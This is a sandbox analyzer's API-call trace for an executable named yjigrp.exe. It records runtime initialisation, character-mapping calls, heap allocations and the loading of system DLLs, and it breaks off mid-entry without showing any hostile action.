# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 09:10:47 # Log Creation Date: 12.06.2020 09:03:08.860 Process: id = "1" image_name = "yjigrp.exe" filename = "c:\\users\\fd1hvy\\desktop\\yjigrp.exe" page_root = "0xf945000" os_pid = "0x13dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7e0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x13e0 [0043.453] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0043.454] LoadLibraryExW (lpLibFileName="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0043.472] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x6ff298 | out: lpCharType=0x6ff298) returned 1 [0043.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ff898, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ff898, cbMultiByte=256, lpWideCharStr=0x6fefd8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0043.472] LoadLibraryExW (lpLibFileName="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.473] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x6fedc8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0043.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x6ff798, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿñË\x0cGÔùo", lpUsedDefaultChar=0x0) returned 256 [0043.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ff898, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x6ff898, cbMultiByte=256, lpWideCharStr=0x6fefe8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0043.473] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.473] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x6fedd8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0043.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x6ff698, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿñË\x0cGÔùo", lpUsedDefaultChar=0x0) returned 256 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x80) returned 0xa12db8 [0043.474] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x8b8c98, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\yjigrp.exe")) returned 0x22 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x2b) returned 0xa12b18 [0043.474] RtlInitializeSListHead (in: ListHead=0x8b8890 | out: ListHead=0x8b8890) [0043.474] GetLastError () returned 0x0 [0043.474] SetLastError (dwErrCode=0x0) [0043.474] GetEnvironmentStringsW () returned 0xa180e0* [0043.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x565) returned 0xa18bb8 [0043.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0xa18bb8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0043.474] FreeEnvironmentStringsW (penv=0xa180e0) returned 1 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x94) returned 0xa104a0 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1f) returned 0xa10540 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x28) returned 0xa10568 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x37) returned 0xa12d20 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x3c) returned 0xa15048 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x31) returned 0xa12d60 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x14) returned 0xa15090 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x24) returned 0xa150b0 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0xd) returned 0xa150e0 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x17) returned 0xa150f8 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x2b) returned 0xa15118 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x15) returned 0xa15150 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x17) returned 0xa15170 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x22) returned 0xa180e0 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0xe) returned 0xa15190 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0xc1) returned 0xa18110 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x3e) returned 0xa181e0 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1b) returned 0xa18228 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1d) returned 0xa18250 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x48) returned 0xa18278 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x12) returned 0xa182c8 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x18) returned 0xa182e8 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1b) returned 0xa18308 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x24) returned 0xa18330 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x29) returned 0xa18360 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa18398 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x6b) returned 0xa183c0 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x17) returned 0xa18438 [0043.474] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0xf) returned 0xa18458 [0043.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x16) returned 0xa18470 [0043.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x28) returned 0xa18490 [0043.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x27) returned 0xa184c0 [0043.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x12) returned 0xa184f0 [0043.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x21) returned 0xa18510 [0043.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x10) returned 0xa18540 [0043.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1c) returned 0xa18558 [0043.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x12) returned 0xa18580 [0043.475] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18bb8 | out: hHeap=0xa10000) returned 1 [0043.475] QueryPerformanceFrequency (in: lpFrequency=0x6ffa14 | out: lpFrequency=0x6ffa14*=100000000) returned 1 [0043.475] QueryPerformanceCounter (in: lpPerformanceCount=0x6ffa0c | out: lpPerformanceCount=0x6ffa0c*=13560649705) returned 1 [0043.475] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x800) returned 0xa185a0 [0043.475] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0043.475] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x87d30f) returned 0x0 [0043.475] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x6ffa00 | out: lpCPInfo=0x6ffa00) returned 1 [0043.479] GetCurrentProcess () returned 0xffffffff [0043.479] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x6ff9c4, lpSystemAffinityMask=0x6ff9c0 | out: lpProcessAffinityMask=0x6ff9c4, lpSystemAffinityMask=0x6ff9c0) returned 1 [0043.479] GetCurrentProcess () returned 0xffffffff [0043.479] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x6ff9d8, lpSystemAffinityMask=0x6ff9d4 | out: lpProcessAffinityMask=0x6ff9d8, lpSystemAffinityMask=0x6ff9d4) returned 1 [0043.480] GetStartupInfoW (in: lpStartupInfo=0x6ff9f4 | out: lpStartupInfo=0x6ff9f4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0043.480] GetModuleHandleW (lpModuleName="kernel32") returned 0x77190000 [0043.480] GetProcAddress (hModule=0x77190000, lpProcName="SetDllDirectoryW") returned 0x771e2580 [0043.480] SetDllDirectoryW (lpPathName="") returned 1 [0043.481] GetProcAddress (hModule=0x77190000, lpProcName="SetDefaultDllDirectories") returned 0x7464d900 [0043.481] SetDefaultDllDirectories (DirectoryFlags=0x800) returned 1 [0043.481] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6f4890, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\yjigrp.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\yjigrp.exe")) returned 0x22 [0043.481] GetVersionExW (in: lpVersionInformation=0x6f4460*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x6f4518, dwBuildNumber=0x9, dwPlatformId=0x77190000, szCSDVersion="\x09") | out: lpVersionInformation=0x6f4460*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0043.481] GetSystemDirectoryW (in: lpBuffer=0x6f3570, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0043.481] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\version.dll") returned 0x73e80000 [0043.738] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="version.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0043.771] GetSystemDirectoryW (in: lpBuffer=0x6f3570, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0043.771] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\DXGIDebug.dll") returned 0x0 [0043.771] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DXGIDebug.dll" (normalized: "c:\\users\\fd1hvy\\desktop\\dxgidebug.dll")) returned 0xffffffff [0043.771] GetSystemDirectoryW (in: lpBuffer=0x6f3570, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0043.771] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\sfc_os.dll") returned 0x73e70000 [0043.838] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="sfc_os.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0043.838] GetSystemDirectoryW (in: lpBuffer=0x6f3570, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0043.838] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\SSPICLI.DLL") returned 0x73ff0000 [0045.071] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="SSPICLI.DLL", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0045.071] GetSystemDirectoryW (in: lpBuffer=0x6f3570, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0045.071] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\rsaenh.dll") returned 0x73e40000 [0045.334] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rsaenh.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0045.334] GetSystemDirectoryW (in: lpBuffer=0x6f3570, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0045.334] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\UXTheme.dll") returned 0x73ec0000 [0049.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="UXTheme.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0049.686] GetSystemDirectoryW (in: lpBuffer=0x6f3570, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0049.686] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\dwmapi.dll") returned 0x73e90000 [0049.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="dwmapi.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 1 [0049.867] GetSystemDirectoryW (in: lpBuffer=0x6f3570, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0049.867] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\cryptbase.dll") returned 0x73fe0000 [0049.867] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="cryptbase.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 1 [0049.867] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x76ea0000 [0050.685] GetProcAddress (hModule=0x76ea0000, lpProcName="OleInitialize") returned 0x76ed3e50 [0050.685] 